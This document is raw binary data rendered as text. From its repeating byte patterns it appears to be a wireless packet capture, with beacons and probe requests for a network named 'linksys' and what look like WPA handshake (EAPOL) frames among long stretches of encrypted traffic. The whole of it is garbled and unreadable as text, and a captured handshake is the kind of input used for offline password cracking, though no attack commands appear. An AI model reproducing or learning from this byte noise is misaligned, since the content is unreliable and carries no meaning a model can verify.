†¬þÀdYDamm€ÿÿÿÿÿÿ †Â¤… †Â¤… :h6…%d1linksys‚„ US    *0¬¬¬« †¬þÀdYDŠe°: †Â¤…ÎU˜ï †Â¤…ÀdYD½f ÔÎU˜ïÀdYDˆi°:ÎU˜ï †Â¤… †Â¤…0:ÀdYD¥m++: †Â¤…ÎU˜ï †Â¤…  linksys‚„ ÀdYDÙn ÔÎU˜ïÀdYDt:ÎU˜ï †Â¤… †Â¤…@: ÀÁdYDî®mm€ÿÿÿÿÿÿ †Â¤… †Â¤… :úņ%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDô>mm€ÿÿÿÿÿÿ †Â¤… †Â¤…;úUˆ%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDìÎmm€ÿÿÿÿÿÿ †Â¤… †Â¤…`;úå‰%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDè^mm€ÿÿÿÿÿÿ †Â¤… †Â¤…À;úu‹%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDèîmm€ÿÿÿÿÿÿ †Â¤… †Â¤… <ú%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDê~mm€ÿÿÿÿÿÿ †Â¤… †Â¤…€<ú•Ž%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDé mm€ÿÿÿÿÿÿ †Â¤… †Â¤…à<ú%%d1linksys‚„ US    *0¬¬¬« †¬þÁdYD¡ 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿPlinksys‚„  $20H`lÁdYDµ£ **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ`‚„  $20H`lÁdYDo§ WWP:ÎU˜ï †Â¤… †Â¤…ð<Þ»%d1linksys‚„ US  *0¬¬¬ÁdYD² 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿplinksys‚„  $20H`lÁdYD8 **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ€‚„  $20H`lÁdYDö WWP:ÎU˜ï †Â¤… †Â¤…=s‘%d1linksys‚„ US  *0¬¬¬ÁdYD²a 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿlinksys‚„  $20H`lÁdYD:d **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ ‚„  $20H`lÁdYDèž mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`=úµ‘%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDÅ! 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿÐlinksys‚„  $20H`lÁdYD=$ **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿà‚„  $20H`lÁdYDµ) Ô¿2ÁdYDç. mm€ÿÿÿÿÿÿ †Â¤… †Â¤…À=úE“%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDå¾mm€ÿÿÿÿÿÿ †Â¤… †Â¤… >úÕ”%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDi11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ°linksys‚„  $20H`lÁdYDÖ WWP:ÎU˜ï †Â¤… †Â¤…0>2#•%d1linksys‚„ US  *0¬¬¬ÂdYD-°: †Â¤…ÎU˜ï †Â¤…ÀÂdYD_Ž ÔÎU˜ïÂdYD‘°:ÎU˜ï †Â¤… †Â¤…@>ÂdYDá•AA: †Â¤…ÎU˜ï †Â¤…Ð linksys‚„ 0¬¬¬(ÂdYD— ÔÎU˜ïÂdYDXœ$$:ÎU˜ï †Â¤… †Â¤…P>À‚„ ÂdYDÓå™™:ÎU˜ï †Â¤… †Â¤…`>ªªˆŽuŠ›ß Èž^2 ÷§Oã-ö[¸ÁŸfK˜®÷ ¹dM)ݬÔ,è°eø€US¡¶‰NäRÂdYDõ™™: †Â¤…ÎU˜ï †Â¤…ªªˆŽu èß¡k‡i•}‚I¤ìhÒ·d7‚.ðÜ7°ÌH4>Ôq¦%ú­çΜ‚!÷±ÛÎF0¬¬¬(ÂdYD;ö ÔÎU˜ïÂdYDmm€ÿÿÿÿÿÿ †Â¤… †Â¤…À>hi–%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD»»:ÎU˜ï †Â¤… †Â¤…Ð>ªªˆŽ—Ê›ß Èž^2 ÷§Oã-ö[¸ÁŸfK˜®÷ ¹dM)Ô—Ðó¥Î ‚Þ°d4^’38€+Í”à§ÿ$Y ì‘üíÜþ5_ÝåׯJ^ Ï¥0•-‹j†WŒc\Úwñ]`èŽ^TŠ’wNÂdYDÊ=ƒƒ: †Â¤…ÎU˜ï †Â¤… ªªˆŽ_ –’››€¡·ÍxˆFðÂdYDö> ÔÎU˜ïÂdYD_DQQA: †Â¤…ÎU˜ïfãä0 q:˜½ØÅÂ!žÁS;>ýŒKàÐf^êêRœ¡<*ËSãy§ pO¯†´w§ÂdYD~J^^BÔÎU˜ï †Â¤…fãäà> œ¥ \Bw“êÞÌ6û¶|!ºðtáØ·e!Ò£^ÒЈ‚Ú†ï¯ìCé Á­ü÷<@‰Ž¿þªÿ›ÝÙŽ0ÁÂdYDmm€ÿÿÿÿÿÿ †Â¤… †Â¤…@?hö—%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDmµH: †Â¤…ÎU˜ï †Â¤…àÂdYD‹¶ ÔÎU˜ïÂdYDgH: †Â¤…ÎU˜ï †Â¤…ðÂdYDŽ*H : †Â¤…ÎU˜ï †Â¤…ðÂdYDŸ-H : †Â¤…ÎU˜ï †Â¤…ðÂdYDÔ. ÔÎU˜ïÂdYDb3mm€ÿÿÿÿÿÿ †Â¤… †Â¤… ?´Œ™%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDÎ7H: †Â¤…ÎU˜ï †Â¤…ÂdYD9 ÔÎU˜ïÂdYD@’H: †Â¤…ÎU˜ï †Â¤…ÂdYDL“ ÔÎU˜ïÂdYD½mm€ÿÿÿÿÿÿ †Â¤… †Â¤…@h›%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD€ÁH: †Â¤…ÎU˜ï †Â¤… ÂdYDµÂ ÔÎU˜ïÂdYDt$H: †Â¤…ÎU˜ï †Â¤…0ÂdYD¦% ÔÎU˜ïÂdYDMmm€ÿÿÿÿÿÿ †Â¤… †Â¤…`@h¦œ%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDQH: †Â¤…ÎU˜ï †Â¤…@ÂdYD´R ÔÎU˜ïÂdYDݲH: †Â¤…ÎU˜ï †Â¤…PÂdYDB· ÔÎU˜ïÂdYDÝmm€ÿÿÿÿÿÿ †Â¤… †Â¤…À@h6ž%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD„áH: †Â¤…ÎU˜ï †Â¤…`ÂdYD·â ÔÎU˜ïÂdYDCA H: †Â¤…ÎU˜ï †Â¤…pÂdYD»D ÔÎU˜ïÂdYDm mm€ÿÿÿÿÿÿ †Â¤… †Â¤… AhÆŸ%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD}q H: †Â¤…ÎU˜ï †Â¤…€ÂdYD²r ÔÎU˜ïÂdYDŒÓ H: †Â¤…ÎU˜ï †Â¤…ÂdYD Ô ÔÎU˜ïÂdYD)ý mm€ÿÿÿÿÿÿ †Â¤… †Â¤…€AV¡%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD— H: †Â¤…ÎU˜ï †Â¤… ÂdYDË ÔÎU˜ïÂdYDÔe H: †Â¤…ÎU˜ï †Â¤…°ÂdYDçf ÔÎU˜ïÂdYD mm€ÿÿÿÿÿÿ †Â¤… †Â¤…àAhæ¢%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD³‘ H: †Â¤…ÎU˜ï †Â¤…ÀÂdYDæ’ ÔÎU˜ïÂdYDÈïH: †Â¤…ÎU˜ï †Â¤…ÐÂdYD·ð ÔÎU˜ïÂdYDmm€ÿÿÿÿÿÿ †Â¤… †Â¤…@Bhv¤%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDÁtt<ÁÆ¥f 膱ÏÚBбÒûÃ>^öVZ(-µ¥hç$Ê8ó|p^½ˆ|,#v#þǵG5=¯Â\¦ï‘â×Há0,!Žš?ìøÝ:Â{v‘3ó© çUŠúÌV Šn*ÑÃ5 @àöÚTg®ukâ78jÎLŸj+íÑŒA9£ô´v í¹«’¸ŸỄ¼‰ÚžÃõ¼´‘òê¡5}óDcnÆsÏö䊛o÷G¶e ßÀÞ}-{“1Iœ½‘¡—“@çsõi³´b¦è£­M†î2J(¤R”²ûbO)¿±5­emb–&Vx€Ä ã±Ð20Q±^l²¨ÓóÕÂ^/ýÑA€ÎÑú 3ÂqÜ¡´³ç¯ÅÇL ó–šÉÁ ÔÐÌ8Ü”K ãõùæb%›ÿ© Îqø€eC0` m 2«¾ÅJy‚Æî‡™‰<¸BRýÌ^p—º3¹ö”úÐjZ*ÚÉA'ÉžЕ>îO‹†ó|0¡;Љ¢(Î$Ú ;9î%~¤uS¬=CsáïàÑÇ\ùÒs@h;¿4ýl4ˆµÊ6êw½7µDÓÛkIöp!72­Õ¸4ÙCÐwn,2•b_µ9p²i— ðÐ'Mœlz¹§ Óœsé)&÷áçâÛM]{Zï)¢Ô‹«ößÊ{î`ýå9Ú….f4Wz©Ð‡»qØÔÇi$aˆ;ŽÛÀ#q]KÂžæ¤ø¡1ÞüB ÐÊŠLêtŠwã³rœ'ÿ°gé` ¤g“ø±‰&÷!3²¡B 2¡ò ë­1&N€„´yŽÀÔéÎHS(SpÞƒÍÄ…}£ÜöA$XI.båç‚î;ÅëÆ¸xçÌÊúu·Ã+2©»ÖÌ-&lfÌšj½iÌ>?§Ñ‡•L0.Xõ‡–Qøú‘þñgQå͆$|ÅŸhN7}‚æŸö3ãZ>àÈ<lÉÈq=ð|„0û4PY3Á¶Ò™¸Ü—¡?4?eÖ¾Ž ã½ýqL¢€XŽª²’cOÀ-7¬{D›Ž’î§Kêüô‚YºÚßÑÆ?|õɲ‘ÝXüS|uS;Js„>3“'×&!бLMHéF½I7ŠuŽû.`RÄ J{X{gâ* 2מå:nÞtÛñÓ Zî;ËÒ!C § ñä¥6Üö:ŒFìÔrœMýa7¡4æÓbŠgÅ¥I¯ÌûŠ€Ë#8ˆ¦Yꢌ:1.ÓÑoâÚ?¼7†ãBÒôpøÊRq5FyòLÚÞܰêÚú?M”:eþÝa¬Ù–7ÞB[±\ócü (Ê (¥EFEILVÓ·ôƒßÇV[Žù‘eëØüÎÙ]\ÿÑY\kû¶ƒ õäì`•⠘р¡èèÖ-Göjz®eúÅOq{:½Û>Îz†3Î^6ÓšD=Úb(®†}>Æ ¦v(k ¥1QÛDÁHab¿/K–PôTgó}â3î„9¤8 –‹¥ŠÙKØŸO’çp=¼A{H@sˆ!ò[·ù›y†¡tRÀu+yiSN ÿÿ6,²´]Žç×åZì%°À] )ÇÞ›¡Ô^‰Š³3“V³Õ‘u:¸à™ëch½ ݸ2C½Q)A•©IUsS–Àq¸V  뾚ås\ƒµUŠGã…¹Ë?çi)•¤‰1Ëe šÐsÜX-Æëg|¤GµžØGÿl4I27š¡Q~9ÿ%®“¨ò’¸œ2&d“8ˆ(@‰â›9eZå–ÎÝj‘³8ç2B:ß–Oix§˜Ñ5‚~wºí˜¤ü+¬Õ …#/§Á©]]ÿÖÐVÆüÍ¡"Ê—RŽìòíÆÿc ÍrçWJ1¶‹Å%ø¦ÇMH| sj¶…/šœÖ•eJãq¸3BA#þþ”úªLSßvˆÕÓÆÏLGœuµâ‹ƒƒz×:•J‘xb©¡Ã’êã~+_»Ù+¤wê Ž”ûë\JþÕÃ’$²ˆS Ô(9ÚRlvaÊMÖOÕc®µá|íª”åÕ=[Û‰7Ãcøþhñ«á'ÝJUÇ-Ãp×r“é*?Ñ'¡c¶{†ìÏeCØ«…·ãÁ¸?òCD1¥TçnR¬géZÜY˜Úz)Ásh$HÓe²6'€.5;€ Éðü¨µ?>=y¤Áþâ¸Eö«ŽHÇ3\¶ŒLÒ/£·Ëß?€Ä‚3%ókîð“—A;E¶5ÚµÞ—ð `t>u’ºÐÿ³ y “-æ¸ß¡ë¹‚¬@ÈôÅ»¶| ÷˜Á"Tø‡|…¨áP2&¿:i3Ï&Ün ЬA©-¨·n¬O”:Éïãɬ÷i±©[ì;¹ dÖ»¢¬Ñ ˜M¡ø"bÖƒæìÀí`¹H ,U˜ÛûŽVKNW +ÁulN °zÙÚyBâ5—D8#§øM%¥cmY°‡ŠÌÁæííý·F?Áˆ3›ZzfáàJµÕAÖüÒÙM•qí¥úz§|ö5gtQ9*Øâ_  Žmý°.Œ2%(xÉcžË,[Ãc‹ßù¨±r»ÑN”"­îhnA›ÚúûZá.!¼²MÑÒcš³ ÎþÛ÷ Ö‚Á çgÕg¡&}4¸¾=Z/Äò€Ýå¨cÕ*•àŸR¬¦ÓçJ)¶þr܉N56Ñì[§lõÛ ¢Ó³°3Š0æú! 11´ªøöìZwý%p7vάn:7=7~!4öGVGÒõJù ÝSbVtŠòØuüC„Þ7c-œ³©4tצ¦Ùp;]²¢PQ_ñ£S:Ý[¢ ­2s¢D׬¿ÄÿTÈ_59deº(u ³.Nɨ,.Nû×à ÃdYDÌmm€ÿÿÿÿÿÿ †Â¤… †Â¤…ðCh¶ª%d1linksys‚„ US    *0¬¬¬« †¬þÃdYDÊ"¨¨I: †Â¤…ÎU˜ïfãäP ¯*XøÄpß.X/¹f‰É—ûºòÑ((ÖæÓåîØ ðl_šu› þª Ø_)S5™;h [E69ÄØËŸ¾½ åuõut_ÐNÞ>M¯ºk·nÃ<ŸR…j K-‹tÝ@G9Iø’ÀSëšÖ™Ü!…Ž’c¨sÈßÅÞ¶\/Á߈vÃdYD?*  A: †Â¤…ÎU˜ïfãä` ߣ˜WÍG æGž.3‘X6°I0£.#NOÀ÷†ôèxëÿö}4ÉI[Ü;¿Á¶Ù'mùÎô^Ýt¸Èâý)·–DïìL8f³da!¶²hö£3“©ry#€ÀÂGr_0ØC ×GNF¡1ÞP÷P¦ €í0öä÷™ø©Ô[ÃdYDiƒH: †Â¤…ÎU˜ï †Â¤…`ÃdYDš„ ÔÎU˜ïÃdYDY„H: †Â¤…ÎU˜ï †Â¤…pÃdYDG… ÔÎU˜ïÃdYD<¬mm€ÿÿÿÿÿÿ †Â¤… †Â¤…PDÚG¬%d1linksys‚„ US    *0¬¬¬« †¬þÃdYD©°H: †Â¤…ÎU˜ï †Â¤…€ÃdYDÞ± ÔÎU˜ïÃdYD  H: †Â¤…ÎU˜ï †Â¤…ÃdYD ÔÎU˜ïÃdYD! èèBÔÎU˜ï †Â¤…fãä`D ¥aö^è/ç—5himÖô@Žp°'À;*Ë9{¦Oܦ>Á¤_NE/¨©Ù4×E‰4œêððqm€!…@K œÁòW6y×lFn£wä‚0ôŸéaÌñQp¤š²ª£–‚3Dˆ‚…³éw»)R¤–…Òˆ|Ú«b_¯ÕG¨0¸!La1†'íM:ÈúøYÍ/dßí0zñ&–#Tv5)Ž•¯Þ‹©Î×K‹èœ Ì€„‡dEn˜…#mÙd»Ç#‰zb8¨WY+ÁºMg¨¿Æ·W)$˜ï›ZùÛÒOP‘‘‹B´é§å ´Î„kS&}ª·-2kSis [EÌ’b)ߦàôžTÅä\Ën+´½÷ß´ú󨡦ûÄGW·Nå¦ð§´ßÌÛ:˜®XwÓ¸]oâ]C‘´ ¬ ŸsþXi°N&ðd‚6ØÛ@;Óc’$L•Kôuã›ðîMáe´Ç…»7eÕP7U–ôáÙó‡ÈsÞÞ;¸¦}:ûæÓ\“°¨zdŸkÑ/eµÐ×Ú£­¶Æ¹“Q‘ÐÈÈ€ŽÄi_ ûÛ)C›º%ó6áoÝ™¦¦ Å£ŒõiLàžØfRü‰Ç«÷óÖߎˆx·‡]é’D"×üj‰”ðqBÞ¶Ó¥õMÆôGø¬š†±tØ~Ÿk³×¹™‚]xF½+´¦€>fâB ¥öµAF¸J/DzâzÔÙY …“Z L¬.ãÅR2EÐly”p«‹8ØRÉ”¹³æ?Êiþþ‡éóÈÝÀ9wÐ,Ü0Œ¾Ên­º+¹vªèc¾u²VaH¨Ô|ÔãW÷E'µpp×É•ñqmÄpT¨¬Mš]’™BøvõYf(cÓ<6=Ùï97R$kÐãç5ü¶ö&²3ÐûÉUiåÂN‡uòMˆ5é¬¶Ò  ªö‘o¢»¹âÎøDœçÔ™? —*A@‹œ¥§M[|«å`R,²'R´ÞÍN›Î°Œ­Û‡üwj‰Ã/A3ó¸z¢½ŒÈ¤ÆÛXÆ5@Íš™0z…ŸI˜Ëú¢î²ÍÿŸ@•S,Ï䪂Û{'«çõÎhfxÛ7rz(¹S7FeƒÏm=[„,ßb V,>ÿn£V¼ šÚ“ž_ÑãëÖ†ùÁî7ÁDŠg Ëð7Õ¶ ð+”¸¯eP¦J«¶ 5Å~™pj÷yÅŽŸ8 °ÞIš¤5³tÂFrÚ»4A$´G,Ùµ›xYÊK: ¾ Äý©~ê¨ÊUÎIæ…y8ôiƒîE ¦ÇÞƒÀp³úVØ,mV™XLJ‰äãdä'\5 aÄsi¹KZ«"Šñ¡ÉÂI¡Ñ˱çÑòM!·ìž8ÿA:Ë»9," ÷Q÷wisÐU4áÈeÞ£*÷\kÖJú$ìµC­Ibš÷v#y>ÃdYDû èèBÔÎU˜ï †Â¤…fãäpD ÏðS©Agt­>>xK¨^a²FkO”ß‹z³ˆ†0¿23|~ðBšc¢¬ E`|;mIî}S¸Wã ‡i´i[Ø£»tO$Ö¢pE8¢¨3& GÑú%-²8|âù‡—”,×Îm)Ž¢£Ò·Q¼Ò6‹f븇0‹w,Ù¡¬#'çoÀx‹d’Êœ¤ÇÜÆµ¬e4 (›Nf{Ñéü›2.&Û"ÿùúF¿gŽÄJüF/Å”ûnä|©Ò®UyUÔ)fÅ-㉣.3‚ŽH`êlA²“?øD§²ÌrIþù×ÑÚ%`3G¶€EÄŽafz?Yð2¤S–Š!¹W/ÔÊØ}[0¯ß²Ú;\»RÉ‘mŸ5úQÄjÅÊ©@¿^oû=âæaóõWgIꕨCM7k¦O`=¤ÀXèî ¦FL ¨¯ á)FY’ê.k3§®9p¿-‹7CnëºÈYóÆ|ˆÇ´À™R$’ æmÐ0®y¢K±$ û“Ý$ѼM«M~äý5X³°æ¢"9ëÃ}tÉ"[Ñ ‘æšÿ¶û@D;ñw-žÆ°LW†ˆ…„ã7äw˜¢/:ô&ïý²à*KÓ ¢ÃßPXŒr’ç(á~ñÏý# nòD”øo»¢v:Æ â÷¬2¦j ¼‚ {q¸d›zW fRJ-¦}éêÀ+!-Œ“]žíΜâZ `Ul.Ä»·þ´Ïfó[µÄ˘.}Q!=uÈ™ÀCš¯0²vž÷ÖeÑg—jðêó%é¼vÒÈ)vež¦¼4®N¥›J©'áË9ûϽÍÁ†Pknö¯X ¤±{¡Otí‚:¨¥0û±ðXÐ_Óθ0)y²üÚ$O·×Å©«ŠŽÂe–fЦŒd¯£æ2Vi*·˜|ÌùnÞ :÷!|r–BOÅXâkRÍ;ß!t4áÖÑØqUTiQ?8¯MlæÖ—_Hš¯^e»«ÀÄJt?ä˜Ï}f)&Å/ùÛ+´;&0ÜoAjðÚÎfB¨ˆ©ÿ3]ëïãZðX"¸BUŒÿQÓà8Ô/=Ü—Às¡*r0àŒvÁÒt¦åKøû*f ¾”ó<•V¥áW忨eKôî¦7-ë‘àø:w¹ãô:PÅ^ö”D» N‡ÆÊ5l^²¬…‘oV]¡c¿º¡é@‡î˘&ã“Mz°1ÝI=U¯è*k±½X0fl&PÄ2€'Ƭ[‡fª”7áÕ]xrªü!.v:$õ¼ˆýîc´»w~‚ïI‹đ1¾ç:]€³ª·1y1:-nϺÄÇ\¹Î õ¥„ÕF­°zÉOúŒzţㆨj(ËhÉì¥iÙ‚®òæBhÚ5‹¹oDˆ&çwsᛊ«D zJ™çâäU“0·z9ÇG4mæL.ê#ô+÷­øÕº0éìÎòI—Nc™Œ©NØX£?ØàÓ¿Zðȯ›4 qADÑþ6ã¹{cÐÒêÊvëPõûÊtÒ+ñßø~[×hXŸa¿ö 0„o²äá^± ?¡‚õªêû@xÝs¿®üó¤0¨VîŠBISÄHFRm*‰_MFŒ9Ð÷*N\–î磮F ¹wž6hŒ“©XöˆÐuÌ* ôƑݰçL\¡›ön"<.zÒ[‚ñœìóm!5F¢%Äu•°¢ѯ®M¬hp™ P)ûT!ƒ³DmáÕ–£¢›—Ný@{â@éAÇeºæÍ·n{ÓÙµB5JôaÉÊaÈ QM4/”æÍ²r-”,^}ÿCU‘ñ´2Ìeæ>0„ÝI_Hª‰¯Ý\ø"‹£‡×Ìh›qÃdYD#¢ H: †Â¤…ÎU˜ï †Â¤… ÃdYDY£ ÔÎU˜ïÃdYDJ¢ H: †Â¤…ÎU˜ï †Â¤…°ÃdYDa£ ÔÎU˜ïÃdYDÈÊ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…0Ehf¯%d1linksys‚„ US    *0¬¬¬« †¬þÃdYD7Ï H: †Â¤…ÎU˜ï †Â¤…ÀÃdYDoÐ ÔÎU˜ïÃdYD-4 H: †Â¤…ÎU˜ï †Â¤…ÐÃdYDO5 ÔÎU˜ïÃdYDÈZ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…Ehö°%d1linksys‚„ US    *0¬¬¬« †¬þÃdYDB_ H: †Â¤…ÎU˜ï †Â¤…àÃdYDw` ÔÎU˜ïÃdYD®Á H: †Â¤…ÎU˜ï †Â¤…ðÃdYDÞ ÔÎU˜ïÃdYDÒÈ èèBÔÎU˜ï †Â¤…fãä E Ä]íÍ~I1¥l°OÞ'dx¤LÆ›ÂQƒµðÙž¯ÅD£Ð¹lò˜~aßXÔ» àœK³”mÚñ9üLÝ{Qº-1ÀÆx??Ÿh‰’§&1Þ0?°M\fŸ´4ËÕõú57xRD÷W «¯¾àNxÒÅ}ýYGµ”ÄÍ¢FʬÖè(oz5Ù[xÍÙÖaÇBºeø¯E y§Ü•¬¶gu¬q͉ÚñϪiV¯¶òèV\àz‰¾$ÁPóz—°0acê«Åôý ]½ÉGúúÿÖ_}îŒ'ƒŽ úpl.¥ÁQ§¼¹ðÒDû´G]2O3?rø”+:¤è›oÚB›Üعw;âJÊŽ)£ÍG@b[7âÈ}ON-üK ©ö“:Ù¹xOñÁB 1ùum±}2òݾ…@]›_QCX®ã$¾Æ ìª8'r§äC„/C¸BO_Ò;ˆF`qø3yÙßüÌx†!1`V½5)5duªµ´‡"pŸ2è¸Ñ¥ÙK‹,)[îÑ øPHº,£Ûÿ7l[Ý*–¥VùR=·¿žtèùíj?¼Ï‚©Ð™.M •Z‰pÿö3]aaíÖsý\c`Ÿœ2.–aˆC²þsõSP_üj¦¸„HF°[Ò˜i—…0$ P¹ýrÇ \ñC ‚ ÄNÄŽ…Bžsx[í½ý3d×gE-°Ð…ÃLpÁèuîÙd˜°1´ 6 LŽ„ßó2‘Z¦}BaœŸ@3j¿Ðч«M&©! eµxÌm†àµ“Šnz7,I/þÂù ] £°ãïb‰.6V¯Ï"j –"Ϻà÷í…†œGY®ÓŸÓ;¯ú PkkùGü”J;=’Îí;Yj«|ˆÛÓ;`l£°ÑóS%ÍÜÄÈ`Ûp¥óaž¥Üœ¹È•c_îuK$š•ýGà·*PôÜMX¿gž"¶ŠÏÇë1\ÍþeàóBŵç­ìP-ؤyÃòoè,{‚k™ È"ÓüäÓù1ó¯}2®$v Už„ó½ü{#²_ënõæ=Ñ*’áÙÅþįöÝÞnö9ŸœbgÙœ$ôôéþŠpLiÐËØùͲ~Þ^Y çUYK‡ ‡¼’,c«×]f¨Îri3ö·c#ÞæçŸVtú@v‰ËF2²á1O}Ã"wòA`ßi»zø¸¾V‚U'¢m¿Ð î¥ ñW7§¬FÞ⟱£bdyclOBÔ9äˆF“¢šÚ4~š˜)¯‰ÎÀ“4íº£uÝC­Q8—gˆá‡J ŽÉ>(Y@wè÷>e“Oלּï‡ 9~l^Ž‚–ýð…hï6ǯƒÍà—0ýÚ3øÂtĭ陫YâLr寽Ȟ…tKº£û l(£P%Ü‹|1Þ¯0Iȶ’_Ê-ÕMCfµ߂Ég¨™®¶6ÒqÄŠ2ÑcO§Ùây¨4mBU 9Ü©¿C‚ÊL~ÚÐ¥ Âæe•õ˜=+½î¦S¡dHfpZ…(òê¬ÿÌ0p-n8~kc•‚‰0Ð#eÖë!µ9’ÈMìÒk$ùT(Zýž™žícaÞu¼š2ìpBT%]üª½3¿£Ÿ_"Ì{6^îú*=§øâFš3â3K¶g›úðŽN~úgaôð›ÆEaÜZöÌ9Š„†®Ðoî«Ýµ|‚‹´e/äšÐßçÙ€ëŠ÷CÉoM ƒÜlS?,xüFàÚžº«0¶l@0³zÿl9?&:°B0 <fú1*™Þy2 Q‹Gr«ìæ9aÐþøÛ$U“–f.Ðâ ¼;Žé¤ZreT‹_šñú†Æ‚µa«†ÑUžc¤-²7üàZ%VS*Ò±;èw•cýÈÄÂ;ªð•y97(ß_rcÊd‘k–ÅCâg?.GÃdYDCÔ   A: †Â¤…ÎU˜ïfãä€ wBý^«ÝÎ ·ûÐ ûí£ýõïÁô+Àe"ü µñˆ® wiÉx ZKm«A+#1éOLj!ªˆE1›§?`Û îÎiRjÞæ†kgñP³¿SÌB(ÂÊ(-tÅJ³XüƒbÀõËd7Ôù‚.Ÿ ñý Rüµ‹ºQ–G<”„ÃdYDXï mm€ÿÿÿÿÿÿ †Â¤… †Â¤…F÷в%d1linksys‚„ US    *0¬¬¬« †¬þÃdYD5H: †Â¤…ÎU˜ï †Â¤…ÃdYD96 ÔÎU˜ïÄdYD5 H: †Â¤…ÎU˜ï †Â¤…ÄdYD= ÔÎU˜ïÄdYD…8mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`Fh´%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD­<H: †Â¤…ÎU˜ï †Â¤… ÄdYDå= ÔÎU˜ïÄdYDƒH: †Â¤…ÎU˜ï †Â¤…0ÄdYDƒž ÔÎU˜ïÄdYD ¦èèBÔÎU˜ï †Â¤…fãäpF Ž»žÂqdNôqBq{;WÈþ­)‚üì*‰PÖüÿÕºÖoPåï(­Öi”}€q—˜‘³Š 8u«æ²šùÎ Hñ®(§Ç£wTü¥}öëD%¸Ÿ6ÿéiüdR¾½.;n>¬B¤«±Z§g‡f<R¶ÑŸ/_Q}$­þæaíl{gfØðEÞy„5Æí;⬷h#èE—Û ‡éáWý"aKÃ8✬¢ÈÄh@ôKî·þÏjM²APµ’¼Ç8,±DA Ö-D|yyõ͇PâÍ+kÐ*ÜEÙQß쵤wØø}L˜;¨.eÛù€Â:Ù™^Ü‹~Â,´$ʳ\ÚåöÁeU¡³1O²HÍþÑF4项þkÁ0•ܳõÉ©Ìc£ò%ƒU®—–6{DR;íÔØLmd(-ŽÃ¬j7ÏzYU,óÁ¯Ëb`E £m\½¥³•ëÕ£7 â=rs¼¶€gÿÒÕÍ÷“(¡#ãT‚u3é/CßA.&ŠqU[ajïy?s3EiKÇ/O\lXµqúŒ?å+Lç!ž¤¡)±.¶øIG({²S ã(9Ù©çî4^›îV®É)WÍÔùê½Sä¡:EE¶ebœ4ùYB.?¹§ªˆò÷Þa-QÖoµ™Ô9±S’ RJÖ+7f å1ØQïüµ¬×j6ºl–å@wfôéœþ"CFQRݽÁäéó*ÔK,º{Ð Ø8‡û;C3ç€&æÛ*Ñ!ž¸'†ôÝo—ÛC¶uÔ"0Ç× qþ(ZˆQH›±±8Ø.¸<Þ>\é A'Ž÷ÏŒògÃè%™=Á©ÐNcHÓ›±µråÁr²ÏE*û|Ú;_,‘xE+õÿÑÙY^ëy.¾W SÊÏÉ„štL=m‘ 2Âgžbu:ÖÅ : ‘Òcªˆ^•0ðð©žöŸ®—Ñ?í\g…ƒÖ:­Ž`ÀϹS…±..D8iÅY8ˆøàGéØkð½b¼$OÄ›-‡ܪ: ßåæ­ ÎÈÛC[|D®IšBæ, ‡M]»ôk±îvZŠžÆŒ¡Ñûm`t]ßÓQ0x&ÑkP "NA¢œ©ù× j»gìjÉh„[UÒ‡„‹o_6W- su¡ÚM»\[Œ¯Òµ¬cŸª¥ÀÊØàu©Øí›ÜI€×ØáÊÂv ü®–)˜&cB±<@ˆ¹þÛ”¹ ¡¤hà_Èí.Þáì°¥‹mf¶*òŸ‡[W#äèë0ØÞØ%Íà!] Sªz~ÇÅTªæN„ÿ›¨‘„$ùK öÊ«ÝÝi{èÂàÔ¹ã'9]0õ/BYýK0}>ã!¼Ø“÷çõßZ´|É:ê@Ï,1É'¬C Žmyhð…í-™ DæUwXjllw'Sɻ⪗ Wnf†¦;ÙÏ•S“ùQ™W÷­ª3HCÙü,0;Æ‚[lÉä£}ñºl̳ң\ó'åØÃYX‹ÉÊçHÌ6!ùGØùOü¶èf93aj–6çJóˆYƒ@çÄdYDЬèèBÔÎU˜ï †Â¤…fãä€F ¬µ$)W€îÚMOé¢XÖ”}:B>Q)܉ëoÀ¶T¦®0b¾x§8¿Às*îzyS÷ÚÏÆžh²IT¦·‘]˜˜ÜµðÇs\ð´Öª fÚÓÑGí¿šÒ½ÀÐòÐ=5†;öã mî²ýG%tr‹œãˆ/‡XwúüÛUŸ_D¨ü÷õæÊ*YÄ$Ï˪òЄZÙ§àvšû›}-¤ÃwØÄIú„0ëÈ­,GÃÝ\&…~ZZ,<ß»E%z,O¢o抅=g¶‹Ê3CL'w–ç®;¼e›ƒ‡tǨWZ< µøóO¥± =ø³+Qv¼w¦î.Ã÷Júi!Ž¥ ÄíUØñ½“Ö&óžÊôƒuPí>I}°"žËhÇ ®š:5€Ÿ¤±/Ö6hË7ù!$³JpÇÊÿ=jÙwáQl»B툷árÀ 